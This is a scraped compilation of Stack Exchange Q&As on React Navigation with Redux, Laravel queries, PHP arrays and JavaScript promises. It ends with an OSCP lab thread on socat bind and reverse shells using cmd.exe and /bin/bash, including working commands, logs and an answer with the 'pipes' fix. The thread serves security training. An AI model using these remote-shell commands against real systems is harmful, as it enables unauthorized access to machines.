问:
How can i access to redux store with react navigation?
I have App "Music App" for tow users type "Guest, a user registered"

I have a bottom navigator for those,
When Guest opens my app I want to render just 4 bottom tabs "Home, browse, search, radio".

but when user login/register I want to render 5 tabs previously tabs plus "Library" Tab.

SO

I dispatch action when user register\login, and change isLogin state from false to true and work some stuff like add some other data to my drawer and it appears fine tho,

I want to access to redux store inside react-navigation File "Tabs.js",

I want to access state from mapStateToProps but I can't access this.props.isLogin from non-class component!

So  I don't have any idea how can I do it if i don't use Class component!

So is there a way to access to redux store using "connect HOC" inside Tabs.js file?

Code

Tabs.js file

```<code>import {connect} from 'react-redux';
import {store} from '../redux/store/store';

const LoginTabs = createBottomTabNavigator({....}); // For user '5 tabs'

const notLoginTabs = createBottomTabNavigator({....}); // For Guest '4 tabs'

const App = this.props.isLogin ? LoginTabs : notLoginTabs; // Not work i know :P

export default (createAppContainer(App));
</code>```

EDIT For Drew Reese Answer

When I try to do it in this way I got under error message

```<code>const mapStateToProps = state => {
  console.log('state', state);
  return {
    isLogin: state.user.isLogin,
  };
};

const App = ({isLogin, ...props}) =>
  isLogin ? <LoginTabs {...props} /> : <NotLoginTabs {...props} />;
const Root = createAppContainer(App);

export default connect(mapStateToProps)(Root);
</code>```

Error message

This navigator has both navigation and container props, so it is
  unclear if it should own its own state. Remove props: "isLogin,
  dispatch" if the navigator should get its state from the navigation
  prop. If the navigator should maintain its own state, do not pass a
  navigation prop.

What I tried

I put all Stacks

"Drawer, Stacks, BottomTabs"

inside One File "Class Component" and it's work but as @Drew say It's not a good idea to do it in this way :)

Here's a gist file if you want to see it

答:
I think you meant to make App a component. In this case it'd be a functional component, so no this, and you also need to return valid JSX.

```<code>const App = props => props.isLogin ? (
    <LoginTabs {...props} />
  ) : (
    <NotLoginTabs {...props} />
  );
</code>```

Notice I've PascalCased the notLoginTabs component to be react compliant, and returning them as JSX with props spread in.

If the child components don't care about isLogin then destructure it out before passing props. This cleans up the code and doesn't pass unnecessary props on to children.

```<code>const App = ({ isLogin, ...props }) => isLogin ? (
    <LoginTabs {...props} />
  ) : (
    <NotLoginTabs {...props} />
  );
</code>```

EDIT

Create a tabs component which houses your authenticated and unauthenticated tabs.

```<code>const LoginTabs = createBottomTabNavigator( ... );
const NotLoginTabs = createBottomTabNavigator( ... );

const Tabs = ({ isLogin, ...props }) => isLogin ? (
    <LoginTabs {...props} />
  ) : (
    <NotLoginTabs {...props} />
  );

const mapStateToProps = state => ({
  isLogin: state.user.isLogin,
});

export default AuthTabs = connect(mapStateToProps)(Tabs)
</code>```

In AppTest

```<code>...
const AppNavigator = createStackNavigator(
  {
    TabHome: {
      screen: AuthTabs,
...
</code>```

Body:
I have App "Music App" for tow users type "Guest, a user registered"

I have a bottom navigator for those,
When Guest opens my app I want to render just 4 bottom tabs "Home, browse, search, radio".

but when user login/register I want to render 5 tabs previously tabs plus "Library" Tab.

SO

I dispatch action when user register\login, and change isLogin state from false to true and work some stuff like add some other data to my drawer and it appears fine tho,

I want to access to redux store inside react-navigation File "Tabs.js",

I want to access state from mapStateToProps but I can't access this.props.isLogin from non-class component!

So  I don't have any idea how can I do it if i don't use Class component!

So is there a way to access to redux store using "connect HOC" inside Tabs.js file?

Code

Tabs.js file

import {connect} from 'react-redux';
import {store} from '../redux/store/store';

const LoginTabs = createBottomTabNavigator({....}); // For user '5 tabs'

const notLoginTabs = createBottomTabNavigator({....}); // For Guest '4 tabs'

const App = this.props.isLogin ? LoginTabs : notLoginTabs; // Not work i know :P

export default (createAppContainer(App));

EDIT For Drew Reese Answer

When I try to do it in this way I got under error message

const mapStateToProps = state => {
  console.log('state', state);
  return {
    isLogin: state.user.isLogin,
  };
};

const App = ({isLogin, ...props}) =>
  isLogin ? <LoginTabs {...props} /> : <NotLoginTabs {...props} />;
const Root = createAppContainer(App);

export default connect(mapStateToProps)(Root);

Error message

This navigator has both navigation and container props, so it is
  unclear if it should own its own state. Remove props: "isLogin,
  dispatch" if the navigator should get its state from the navigation
  prop. If the navigator should maintain its own state, do not pass a
  navigation prop.

What I tried

I put all Stacks

"Drawer, Stacks, BottomTabs"

inside One File "Class Component" and it's work but as @Drew say It's not a good idea to do it in this way :)

Here's a gist file if you want to see it

Body:
I think you meant to make App a component. In this case it'd be a functional component, so no this, and you also need to return valid JSX.

const App = props => props.isLogin ? (
    <LoginTabs {...props} />
  ) : (
    <NotLoginTabs {...props} />
  );

Notice I've PascalCased the notLoginTabs component to be react compliant, and returning them as JSX with props spread in.

If the child components don't care about isLogin then destructure it out before passing props. This cleans up the code and doesn't pass unnecessary props on to children.

const App = ({ isLogin, ...props }) => isLogin ? (
    <LoginTabs {...props} />
  ) : (
    <NotLoginTabs {...props} />
  );

EDIT

Create a tabs component which houses your authenticated and unauthenticated tabs.

const LoginTabs = createBottomTabNavigator( ... );
const NotLoginTabs = createBottomTabNavigator( ... );

const Tabs = ({ isLogin, ...props }) => isLogin ? (
    <LoginTabs {...props} />
  ) : (
    <NotLoginTabs {...props} />
  );

const mapStateToProps = state => ({
  isLogin: state.user.isLogin,
});

export default AuthTabs = connect(mapStateToProps)(Tabs)

In AppTest

...
const AppNavigator = createStackNavigator(
  {
    TabHome: {
      screen: AuthTabs,
...


来源: stackexchange

答:
In order to achieve this you need to group results by movies.id and use group_concat to extract results comma concatenated. Your code should look something like this:

```<code>$movie_list = DB::table('movies')
    ->select(
        'movies.*',
        DB::raw('group_concat(movie_directors.dir_name) as directors'),
        DB::raw('group_concat(movie_actors.act_name) as actors')
    )
    ->join('movie_directors','movies.id', '=','movie_directors.movie_id')
    ->join('movie_actors', 'movies.id', '=', 'movie_actors.movie_id')
    ->where('movies.status',1)
    ->groupBy('movies.id')
    ->paginate(50)
    ;
</code>```

You can read more about group_concat here: https://www.w3resource.com/mysql/aggregate-functions-and-grouping/aggregate-functions-and-grouping-group_concat.php

ContentLicense: CC BY-SA 4.0

Title: Get data from multiple table in Laravel 5.7 (Eloquent)

Body:
I am using Laravel 5.7. I have three MySQL table, named : movies, movie_directors, movie_actors. I am having issues with retrieving data from these tables. Look at my table structure:

movies
|-----------------------------------------------------|
|   id  |   title       |   release |  img_url        |
|-----------------------------------------------------|
|  1    |  Avengers     |    2019   |    #            |
|-----------------------------------------------------|
|  2    |  Avatar       |    2009   |    #            |
|-----------------------------------------------------|
|  3    |  Titanic      |    1997   |    #            |
|-----------------------------------------------------|

directors
|-----------------------------------------------------|
|   id  |   movie_id  |   dir_name      |  add_date   |
|-----------------------------------------------------|
|  1    |    1        |  Anthony Russo  |  2019/02/18 |
|-----------------------------------------------------|
|  2    |    1        |    Joe Russo    |  2019/02/18 |
|-----------------------------------------------------|
|  3    |    2        |    Cameron      |  2019/02/18 |
|-----------------------------------------------------|

actors
|-----------------------------------------------------|
|   id  |   movie_id  |   act_name      |  add_date   |
|-----------------------------------------------------|
|  1    |    1        |  Robert Downey  |  2019/02/18 |
|-----------------------------------------------------|
|  2    |    1        |   Chris Evans   |  2019/02/18 |
|-----------------------------------------------------|
|  3    |    1        |  Mark Ruffalo   |  2019/02/18 |
|-----------------------------------------------------|
|  4    |    1        |   Chris Pratt   |  2019/02/18 |
|-----------------------------------------------------|
|  5    |    2        |   Worthington   |  2019/02/18 |
|-----------------------------------------------------|
|  6    |    2        |    Weaver       |  2019/02/18 |
|-----------------------------------------------------|
|  7    |    2        |    Saldana      |  2019/02/18 |
|-----------------------------------------------------|

I Want
|-------------------------------------------------------------------------------------------------------------------------------------------|
|   id  |   title       |   release |  img_url    |        directors           |                        actors                              |
|-------------------------------------------------------------------------------------------------------------------------------------------|
|  1    |  Avengers     |    2019   |    #        | Anthony Russo, Joe Russo   |  Robert Downey, Chris Evans, Mark Ruffalo, Chris Pratt     |
|-------------------------------------------------------------------------------------------------------------------------------------------|
|  2    |  Avatar       |    2009   |    #        |     Cameron                |  Worthington, Weaver, Saldana                              |
|-------------------------------------------------------------------------------------------------------------------------------------------|
|  3    |  Titanic      |    1997   |    #        |                            |
|-------------------------------------------------------------------------------------------------------------------------------------------|

Current Code I am using:

$movie_list = DB::table('movies')
            ->select('movies.*', 'movie_directors.*', 'movie_actors.*', 'movie_genres.*', 'movie_links.*', 'movie_types.*')
            ->join('movie_directors','movies.id', '=','movie_directors.movie_id')
            ->join('movie_actors', 'movies.id', '=', 'movie_actors.movie_id')
            ->where('movies.status',1)
            ->paginate(50)
            ;

Look at the table 'I want' at the bottom of the code. This is what I want.
Please don't attach the link below as proof of already answered. It doesn't match with my requirement

how to retrive data from multiple table in laravel eloquent

Body:
In order to achieve this you need to group results by movies.id and use group_concat to extract results comma concatenated. Your code should look something like this:

$movie_list = DB::table('movies')
    ->select(
        'movies.*',
        DB::raw('group_concat(movie_directors.dir_name) as directors'),
        DB::raw('group_concat(movie_actors.act_name) as actors')
    )
    ->join('movie_directors','movies.id', '=','movie_directors.movie_id')
    ->join('movie_actors', 'movies.id', '=', 'movie_actors.movie_id')
    ->where('movies.status',1)
    ->groupBy('movies.id')
    ->paginate(50)
    ;

You can read more about group_concat here: https://www.w3resource.com/mysql/aggregate-functions-and-grouping/aggregate-functions-and-grouping-group_concat.php


问:
Laravel, PHP Object and array manipulations
So i'm retrieving some records from the database, the records called researches and for each research in this table there might be one or more papers. So now i'm left with $researches variable which has the following output:

```<code>{
"2": {
      "id": 2,
      "name": "Science",
     },
"4":{
      "id": 7,
      "name": "Biology",
    }
"9":{
      "id": 7,
      "name": "Chemistry",
    }
}
</code>```

when typing $researches[2]->papers I get all the papers that belongs to research which has ID number 2, so I get the following:

```<code>{
    "papers": [
        {
            "id": 456,
            "name": "XYZ",
            "title": "title X",
        },
        {
            "id": 470,
            "name": "YUI",
            "title": "title Y",
        }
    ]
}
</code>```

How can I get all the papers of all the researches so the output would be:

```<code>{
        {
            "id": 456,
            "name": "XYZ",
            "title": "title X",
        },
        {
            "id": 470,
            "name": "YUI",
            "title": "title Y",
        },
        {
            "id": 488,
            "name": "RVF",
            "title": "Title Z",
        },
        {
         ...
        }

}
</code>```

So basically, I want to get all the papers of all the researches and store them in one object.

答:
I think that is what your looking for. It loops through all researches and all papers of it, stores it into an array and typecast the array into an object.

```<code>$papers = [];
foreach( $researches as $research ) {
  foreach( $research->papers as $paper )  {
    $papers[] = $paper;
  }
}

$papers = (object) $papers;
</code>```

Body:
So i'm retrieving some records from the database, the records called researches and for each research in this table there might be one or more papers. So now i'm left with $researches variable which has the following output:

{
"2": {
      "id": 2,
      "name": "Science",
     },
"4":{
      "id": 7,
      "name": "Biology",
    }
"9":{
      "id": 7,
      "name": "Chemistry",
    }
}

when typing $researches[2]->papers I get all the papers that belongs to research which has ID number 2, so I get the following:

{
    "papers": [
        {
            "id": 456,
            "name": "XYZ",
            "title": "title X",
        },
        {
            "id": 470,
            "name": "YUI",
            "title": "title Y",
        }
    ]
}

How can I get all the papers of all the researches so the output would be:

{
        {
            "id": 456,
            "name": "XYZ",
            "title": "title X",
        },
        {
            "id": 470,
            "name": "YUI",
            "title": "title Y",
        },
        {
            "id": 488,
            "name": "RVF",
            "title": "Title Z",
        },
        {
         ...
        }

}

So basically, I want to get all the papers of all the researches and store them in one object.

Body:
I think that is what your looking for. It loops through all researches and all papers of it, stores it into an array and typecast the array into an object.

$papers = [];
foreach( $researches as $research ) {
  foreach( $research->papers as $paper )  {
    $papers[] = $paper;
  }
}

$papers = (object) $papers;


问:
How to access the values inside resolved promises?
I'm having difficulty accessing the values from getPeople(0,4).

```<code>function getPeople(start, end) {
    const peopleArray = [];
    for (let i = start; i <= end; i++) {
      peopleArray.push(
        axios.get(`https://www.testsite.net/api/test/workers/${i}`)
      );
    }
    return peopleArray;
  }

  useEffect(() => {
    Promise.all([getData(), getPeople(0, 4)]).then(item => {
      //console.log(item[0].data.orders); //
      setData(item);
      setPersonData(item);
    });
  }, []);
</code>```

item[0] works fine.
Here's the result I'm getting when I console.log(item[1]) How can I access the data?

item[1] is an array of promises.

答:
The getPeople function returns an array of promises.

If you want to await those promises in the Promise.all call, one option is to:

```<code>  useEffect(() => {
    Promise.all([getData(), ...getPeople(0, 4)]).then(item => {
      //console.log(item[0].data.orders);
      console.log(item[1]); // this will effectively output the people 0 object
      setData(item);
      setPersonData(item);
    });
  }, []);
</code>```

The above will receive as item[0] the resolved value from the promise of getData (which sounds expected already). Then item[1] through item[5] will be the 5 people objects you seem to be expecting.

Body:
I'm having difficulty accessing the values from getPeople(0,4).

function getPeople(start, end) {
    const peopleArray = [];
    for (let i = start; i <= end; i++) {
      peopleArray.push(
        axios.get(`https://www.testsite.net/api/test/workers/${i}`)
      );
    }
    return peopleArray;
  }

  useEffect(() => {
    Promise.all([getData(), getPeople(0, 4)]).then(item => {
      //console.log(item[0].data.orders); //
      setData(item);
      setPersonData(item);
    });
  }, []);

item[0] works fine.
Here's the result I'm getting when I console.log(item[1]) How can I access the data?

item[1] is an array of promises.

Body:
The getPeople function returns an array of promises.

If you want to await those promises in the Promise.all call, one option is to:

  useEffect(() => {
    Promise.all([getData(), ...getPeople(0, 4)]).then(item => {
      //console.log(item[0].data.orders);
      console.log(item[1]); // this will effectively output the people 0 object
      setData(item);
      setPersonData(item);
    });
  }, []);

The above will receive as item[0] the resolved value from the promise of getData (which sounds expected already). Then item[1] through item[5] will be the 5 people objects you seem to be expecting.


问:
Socat - How to create a windows reverse shell
I recently upgraded my OSCP material to get the new OSCP version 2020 and I came across the chapter with socat to create encrypted bind shell/reverse shell. I thought I understood how to use it, but my attempts to send an encrypted reverse shell from my windows machine to my Kali machine has been unsuccessfuls. I decided to do some trials and error with an unencrypted bind shell on both sides.

Here is what worked for me :

Kali Bind Shell (Getting /bin/bash on Windows by connecting to the kali binded shell socket)

Kali Reverse Shell (Getting /bin/bash on Windows by sending it to the windows listening socket)

Here's what did not worked for me :

Windows Bind Shell (Getting cmd.exe by connecting to the windows listening shell socket)

Windows Reverse Shell (Getting cmd.exe by sending it to the Kali listening socket)

Here is what i did :

Kali Bind Shell - OK

Kali (192.168.119.145)

socat -d -d -d TCP4-LISTEN:4444,fork EXEC:/bin/bash

Windows 10 (192.168.145.10)

socat -d -d -d - TCP4:192.168.119.145:4444

Kali Reverse Shell - OK

Windows 10 (192.168.145.10)

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT

Kali (192.168.119.145)

socat -d -d -d TCP4:192.168.145.10:4444 EXEC:/bin/bash

Windows Bind Shell - NOT OK

Windows 10 (192.168.145.10)

socat -d -d -d TCP4-LISTEN:4444,fork EXEC:cmd.exe

Kali (192.168.119.145)

socat -d -d -d - TCP4:192.168.145.10:4444

Windows Reverse Shell - NOT OK

Kali (192.168.119.145)

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT

Windows 10 (192.168.145.10)

socat -d -d -d TCP4:192.168.119.145:4444 EXEC:cmd.exe

Here is what I get :

Windows bind shell - Windows Machine

```<code>C:\Windows\system32>socat -d -d -d TCP4-LISTEN:443,fork EXEC:cmd.exe
2020/02/18 10:22:04 socat[3712] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 10:22:04 socat[3712] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 10:22:04 socat[3712] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 10:22:04 socat[3712] I setting option "fork" to 1
2020/02/18 10:22:04 socat[3712] I socket(2, 1, 6) -> 5
2020/02/18 10:22:04 socat[3712] I starting accept loop
2020/02/18 10:22:04 socat[3712] N listening on AF=2 0.0.0.0:443
2020/02/18 10:22:25 socat[3712] I accept(5, {2, AF=2 192.168.119.145:36796}, 16) -> 6
2020/02/18 10:22:25 socat[3712] N accepting connection from AF=2 192.168.119.145:36796 on AF=2 192.168.145.10:443
2020/02/18 10:22:25 socat[3712] I permitting connection from AF=2 192.168.119.145:36796
2020/02/18 10:22:25 socat[3712] N forked off child process 4252
2020/02/18 10:22:25 socat[4252] I just born: child proces2020/02/18 10:22:25 socat[3712] I close(6)
2020/02/18 10:22:25 socat[4252] I just born: child process 4252
2020/02/18 10:22:25 socat[4252] I close(5)stening
2020/02/18 10:22:25 socat[4252] N forking off child, using socket for reading and writing
2020/02/18 10:22:25 socat[4252] I socketpair(1, 1, 0, {5,7}) -> 0
2020/02/18 10:22:25 socat[4252] N forked off child process 56402020/02/18 10:22:25 socat[5640] I just born: child proces
2020/02/18 10:22:25 socat[4252] N forked off child process 5640
2020/02/18 10:22:25 socat[5640] I close(5)
2020/02/18 10:22:25 socat[5640] I dup2(7, 0) -> 0
2020/02/18 10:22:25 socat[5640] I dup2(7, 1) -> 1ened all sock addresses
2020/02/18 10:22:25 socat[5640] I close(7) data transfer loop with FDs [6,6] and [5,5]
2020/02/18 10:22:25 socat[5640] N execvp'ing "cmd.exe"
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
2020/02/18 10:22:25 socat[4252] W read(5, 0x20044610, 8192): Connection reset by peer
2020/02/18 10:22:25 socat[3712] N childdied(): handling signal 202020/02/18 10:22:25 socat[4252] I childdied(signum=20)
2020/02/18 10:22:25 socat[4252] I waitpid(): child 5640 exited with status 0
2020/02/18 10:22:25 socat[4252] I childdied() finishedANG): No child processes
2020/02/18 10:22:25 socat[4252] N socket 2 to socket 1 is in error
2020/02/18 10:22:25 socat[4252] N socket 2 (fd 5) is at EOF
2020/02/18 10:22:25 socat[4252] I shutdown(6, 1)
2020/02/18 10:22:25 socat[4252] I terminated child did not leave data for us
2020/02/18 10:22:25 socat[4252] I poll timed out (no data within 0.500000 seconds)
2020/02/18 10:22:25 socat[4252] I shutdown(6, 2)
2020/02/18 10:22:25 socat[4252] I shutdown(5, 2)
2020/02/18 10:22:25 socat[4252] N exiting with status 0
2020/02/18 10:22:25 socat[3712] N childdied(): handling signal 20
2020/02/18 10:22:25 socat[3712] I childdied(signum=20)
2020/02/18 10:22:25 socat[3712] I childdied(20): cannot identify child 4252
2020/02/18 10:22:25 socat[3712] I waitpid(): child 4252 exited with status 0
2020/02/18 10:22:25 socat[3712] I waitpid(-1, {}, WNOHANG): No child processes
2020/02/18 10:22:25 socat[3712] I childdied() finished
</code>```

Windows Bind Shell - Kali Machine

```<code>root@kali:/mnt/hgfs/Shared/OSCPLabsVPN/V2# socat -d -d -d - TCP4:192.168.145.10:443
2020/02/18 13:22:24 socat[9004] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 13:22:24 socat[9004] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/)
2020/02/18 13:22:24 socat[9004] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 13:22:24 socat[9004] N reading from and writing to stdio
2020/02/18 13:22:24 socat[9004] N opening connection to AF=2 192.168.145.10:443
2020/02/18 13:22:24 socat[9004] I starting connect loop
2020/02/18 13:22:24 socat[9004] I socket(2, 1, 6) -> 5
2020/02/18 13:22:24 socat[9004] N successfully connected from local address AF=2 192.168.119.145:36796
2020/02/18 13:22:24 socat[9004] I resolved and opened all sock addresses
2020/02/18 13:22:24 socat[9004] N starting data transfer loop with FDs [0,1] and [5,5]
2020/02/18 13:22:25 socat[9004] N socket 2 (fd 5) is at EOF
2020/02/18 13:22:25 socat[9004] I poll timed out (no data within 0.500000 seconds)
2020/02/18 13:22:25 socat[9004] I shutdown(5, 2)
2020/02/18 13:22:25 socat[9004] N exiting with status 0
</code>```

Windows Reverse Shell - Kali Machine

```<code>root@kali:/mnt/hgfs/Shared/OSCPLabsVPN/V2# socat -d -d -d TCP4-LISTEN:443 STDOUT
2020/02/18 13:07:13 socat[8925] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 13:07:13 socat[8925] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 13:07:13 socat[8925] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 13:07:13 socat[8925] I socket(2, 1, 6) -> 5
2020/02/18 13:07:13 socat[8925] I starting accept loop
2020/02/18 13:07:13 socat[8925] N listening on AF=2 0.0.0.0:443
2020/02/18 13:07:18 socat[8925] I accept(5, {2, AF=2 192.168.145.10:61633}, 16) -> 6
2020/02/18 13:07:18 socat[8925] N accepting connection from AF=2 192.168.145.10:61633 on AF=2 192.168.119.145:443
2020/02/18 13:07:18 socat[8925] I permitting connection from AF=2 192.168.145.10:61633
2020/02/18 13:07:18 socat[8925] I close(5)
2020/02/18 13:07:18 socat[8925] N using stdout for reading and writing
2020/02/18 13:07:18 socat[8925] I resolved and opened all sock addresses
2020/02/18 13:07:18 socat[8925] N starting data transfer loop with FDs [6,6] and [1,1]
2020/02/18 13:07:18 socat[8925] N socket 1 (fd 6) is at EOF
2020/02/18 13:07:18 socat[8925] I poll timed out (no data within 0.500000 seconds)
2020/02/18 13:07:18 socat[8925] I shutdown(6, 2)
2020/02/18 13:07:18 socat[8925] N exiting with status 0
</code>```

Windows Reverse Shell - Windows Machine

```<code>C:\Windows\system32>socat -d -d -d TCP4:192.168.119.145:443 EXEC:cmd.exe
2020/02/18 10:06:39 socat[5396] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 10:06:39 socat[5396] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 10:06:39 socat[5396] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 10:06:39 socat[5396] N opening connection to AF=2 192.168.119.145:443
2020/02/18 10:06:39 socat[5396] I starting connect loop
2020/02/18 10:06:39 socat[5396] I socket(2, 1, 6) -> 5
2020/02/18 10:06:39 socat[5396] N successfully connected from local address AF=2 192.168.145.10:61630
2020/02/18 10:06:39 socat[5396] N forking off child, using socket for reading and writing
2020/02/18 10:06:39 socat[5396] I socketpair(1, 1, 0, {6,7}) -> 0
2020/02/18 10:06:39 socat[5396] N forked off child process 2688
2020/02/18 10:06:39 socat[2688] I just born: child process 2688
2020/02/18 10:06:39 socat[5396] N forked off child process 2688
2020/02/18 10:06:39 socat[5396] I close(7)
2020/02/18 10:06:39 socat[5396] I resolved and opened all sock addresses
2020/02/18 10:06:39 socat[5396] N starting data transfer loop with FDs [5,5] and [6,6]
2020/02/18 10:06:39 socat[2688] I close(6)
2020/02/18 10:06:39 socat[2688] I dup2(7, 0) -> 0
2020/02/18 10:06:39 socat[2688] I dup2(7, 1) -> 1
2020/02/18 10:06:39 socat[2688] I close(7)
2020/02/18 10:06:39 socat[2688] N execvp'ing "cmd.exe"
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
2020/02/18 10:06:39 socat[5396] W read(6, 0x20044228, 8192): Connection reset by peer
2020/02/18 10:06:39 socat[5396] N childdied(): handling signal 20
2020/02/18 10:06:39 socat[5396] I childdied(signum=20)
2020/02/18 10:06:39 socat[5396] I exec'd process 2688 on socket 1 terminated
2020/02/18 10:06:39 socat[5396] I waitpid(): child 2688 exited with status 0
2020/02/18 10:06:39 socat[5396] I waitpid(-1, {}, WNOHANG): No child processes
2020/02/18 10:06:39 socat[5396] I childdied() finished
2020/02/18 10:06:39 socat[5396] N socket 2 to socket 1 is in error
2020/02/18 10:06:39 socat[5396] N socket 2 (fd 6) is at EOF
2020/02/18 10:06:39 socat[5396] I shutdown(5, 1)
2020/02/18 10:06:39 socat[5396] I terminated child did not leave data for us
2020/02/18 10:06:39 socat[5396] I poll timed out (no data within 0.500000 seconds)
2020/02/18 10:06:39 socat[5396] I shutdown(5, 2)
2020/02/18 10:06:39 socat[5396] I shutdown(6, 2)
2020/02/18 10:06:39 socat[5396] N exiting with status 0
</code>```

What am I doing wrong here ?

Why can't I attach a Windows cmd.exe process to a socket ?

PS : I know the timestamps between my exemples doesn't match

答:
To get the reverse shell from Windows add the 'pipes' command at the end:

Example:

Kali Box:
socat TCP4-LISTEN:443,fork STDOUT

Windows Box:
socat -d -d TCP4:192.168.X.X:443 EXEC:'cmd.exe',pipes

Body:
I recently upgraded my OSCP material to get the new OSCP version 2020 and I came across the chapter with socat to create encrypted bind shell/reverse shell. I thought I understood how to use it, but my attempts to send an encrypted reverse shell from my windows machine to my Kali machine has been unsuccessfuls. I decided to do some trials and error with an unencrypted bind shell on both sides.

Here is what worked for me :

Kali Bind Shell (Getting /bin/bash on Windows by connecting to the kali binded shell socket)

Kali Reverse Shell (Getting /bin/bash on Windows by sending it to the windows listening socket)

Here's what did not worked for me :

Windows Bind Shell (Getting cmd.exe by connecting to the windows listening shell socket)

Windows Reverse Shell (Getting cmd.exe by sending it to the Kali listening socket)

Here is what i did :

Kali Bind Shell - OK

Kali (192.168.119.145)

socat -d -d -d TCP4-LISTEN:4444,fork EXEC:/bin/bash

Windows 10 (192.168.145.10)

socat -d -d -d - TCP4:192.168.119.145:4444

Kali Reverse Shell - OK

Windows 10 (192.168.145.10)

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT

Kali (192.168.119.145)

socat -d -d -d TCP4:192.168.145.10:4444 EXEC:/bin/bash

Windows Bind Shell - NOT OK

Windows 10 (192.168.145.10)

socat -d -d -d TCP4-LISTEN:4444,fork EXEC:cmd.exe

Kali (192.168.119.145)

socat -d -d -d - TCP4:192.168.145.10:4444

Windows Reverse Shell - NOT OK

Kali (192.168.119.145)

socat -d -d -d TCP4-LISTEN:4444,fork STDOUT

Windows 10 (192.168.145.10)

socat -d -d -d TCP4:192.168.119.145:4444 EXEC:cmd.exe

Here is what I get :

Windows bind shell - Windows Machine

C:\Windows\system32>socat -d -d -d TCP4-LISTEN:443,fork EXEC:cmd.exe
2020/02/18 10:22:04 socat[3712] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 10:22:04 socat[3712] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. (http://www.openssl.org/)
2020/02/18 10:22:04 socat[3712] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 10:22:04 socat[3712] I setting option "fork" to 1
2020/02/18 10:22:04 socat[3712] I socket(2, 1, 6) -> 5
2020/02/18 10:22:04 socat[3712] I starting accept loop
2020/02/18 10:22:04 socat[3712] N listening on AF=2 0.0.0.0:443
2020/02/18 10:22:25 socat[3712] I accept(5, {2, AF=2 192.168.119.145:36796}, 16) -> 6
2020/02/18 10:22:25 socat[3712] N accepting connection from AF=2 192.168.119.145:36796 on AF=2 192.168.145.10:443
2020/02/18 10:22:25 socat[3712] I permitting connection from AF=2 192.168.119.145:36796
2020/02/18 10:22:25 socat[3712] N forked off child process 4252
2020/02/18 10:22:25 socat[4252] I just born: child proces2020/02/18 10:22:25 socat[3712] I close(6)
2020/02/18 10:22:25 socat[4252] I just born: child process 4252
2020/02/18 10:22:25 socat[4252] I close(5)stening
2020/02/18 10:22:25 socat[4252] N forking off child, using socket for reading and writing
2020/02/18 10:22:25 socat[4252] I socketpair(1, 1, 0, {5,7}) -> 0
2020/02/18 10:22:25 socat[4252] N forked off child process 56402020/02/18 10:22:25 socat[5640] I just born: child proces
2020/02/18 10:22:25 socat[4252] N forked off child process 5640
2020/02/18 10:22:25 socat[5640] I close(5)
2020/02/18 10:22:25 socat[5640] I dup2(7, 0) -> 0
2020/02/18 10:22:25 socat[5640] I dup2(7, 1) -> 1ened all sock addresses
2020/02/18 10:22:25 socat[5640] I close(7) data transfer loop with FDs [6,6] and [5,5]
2020/02/18 10:22:25 socat[5640] N execvp'ing "cmd.exe"
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
The process tried to write to a nonexistent pipe.
2020/02/18 10:22:25 socat[4252] W read(5, 0x20044610, 8192): Connection reset by peer
2020/02/18 10:22:25 socat[3712] N childdied(): handling signal 202020/02/18 10:22:25 socat[4252] I childdied(signum=20)
2020/02/18 10:22:25 socat[4252] I waitpid(): child 5640 exited with status 0
2020/02/18 10:22:25 socat[4252] I childdied() finishedANG): No child processes
2020/02/18 10:22:25 socat[4252] N socket 2 to socket 1 is in error
2020/02/18 10:22:25 socat[4252] N socket 2 (fd 5) is at EOF
2020/02/18 10:22:25 socat[4252] I shutdown(6, 1)
2020/02/18 10:22:25 socat[4252] I terminated child did not leave data for us
2020/02/18 10:22:25 socat[4252] I poll timed out (no data within 0.500000 seconds)
2020/02/18 10:22:25 socat[4252] I shutdown(6, 2)
2020/02/18 10:22:25 socat[4252] I shutdown(5, 2)
2020/02/18 10:22:25 socat[4252] N exiting with status 0
2020/02/18 10:22:25 socat[3712] N childdied(): handling signal 20
2020/02/18 10:22:25 socat[3712] I childdied(signum=20)
2020/02/18 10:22:25 socat[3712] I childdied(20): cannot identify child 4252
2020/02/18 10:22:25 socat[3712] I waitpid(): child 4252 exited with status 0
2020/02/18 10:22:25 socat[3712] I waitpid(-1, {}, WNOHANG): No child processes
2020/02/18 10:22:25 socat[3712] I childdied() finished

Windows Bind Shell - Kali Machine

root@kali:/mnt/hgfs/Shared/OSCPLabsVPN/V2# socat -d -d -d - TCP4:192.168.145.10:443
2020/02/18 13:22:24 socat[9004] I socat by Gerhard Rieger and contributors - see www.dest-unreach.org
2020/02/18 13:22:24 socat[9004] I This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/)
2020/02/18 13:22:24 socat[9004] I This product includes software written by Tim Hudson (tjh@cryptsoft.com)
2020/02/18 13:22:24 socat[9004] N reading from and writing to stdio
2020/02/18 13:22:24 socat[9004] N opening connection to AF=2 192.168.145.10:443
